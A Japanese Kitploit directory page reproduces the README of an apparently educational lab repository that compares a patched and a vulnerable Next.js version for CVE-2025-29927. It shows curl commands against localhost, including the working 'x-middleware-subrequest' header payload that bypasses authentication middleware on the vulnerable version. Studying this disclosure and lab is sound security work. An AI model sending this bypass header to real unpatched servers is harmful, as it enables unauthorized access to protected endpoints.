Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/yeondg/nextjs-cve-2025-29927
認証と認可脆弱性分析ウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubyeondg/nextjs-cve-2025-29927

nextjs-cve-2025-29927

vulnerable-nextjs-14-CVE-2025-29927

リポジトリを見る
31年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Next.js CVE-2025-29927 ミドルウェア脆弱性

このリポジトリは、Next.js 15.2.3バージョンとNext.js 15.1.7バージョンを使用して、CVE-2025-29927 ミドルウェア脆弱性を比較できるモノレポプロジェクトです。

脆弱性の説明

CVE-2025-29927は、Next.jsのミドルウェアで発見されたセキュリティ脆弱性で、x-middleware-subrequestヘッダーを使用して認証ミドルウェアをバイパスできる問題です。 この脆弱性は以下のバージョンで影響を受けます:

  • Next.js 15.x < 15.2.3
  • Next.js 14.x < 14.2.25
  • Next.js 13.x < 13.5.9 上記のバージョンは、それぞれ該当するパッチバージョンにアップデートすることで解決されました。

実行方法

  1. リポジトリをクローンします。
  2. 依存関係をインストールします: pnpm install
  3. 開発サーバーを起動します: pnpm dev
  4. 各アプリにアクセス
  • パッチ済みバージョン (15.2.3): http://localhost:3000
  • 脆弱なバージョン (15.1.7): http://localhost:3001
  1. トークンなしで /api/protected エンドポイントにアクセスすると、アクセスが拒否されます。
root@kitploit:~
$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}

$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
  1. 有効なトークンを提供すると、保護されたエンドポイントに正常にアクセスできます。
root@kitploit:~
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
  1. 脆弱性を利用してミドルウェアをバイパスします。
root@kitploit:~
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}

プロジェクト構造

root@kitploit:~
nextjs-cve-2025-29927/
├── apps/
│   ├── next15_1_7/  # 脆弱なバージョン
│   └── next15_2_3/  # パッチ済みバージョン
├── packages/
│   └── ui/          # 共有UIコンポーネント
└── README.md

参考リンク

  • vercelブログ
  • DevStefanChoのYouTube
  • https://hackyboiz.github.io/2025/03/27/bekim/2025-03-27/
  • https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
  • https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
  • https://github.com/lirantal/vulnerable-nextjs-14-CVE-2025-29927
ツールをダウンロード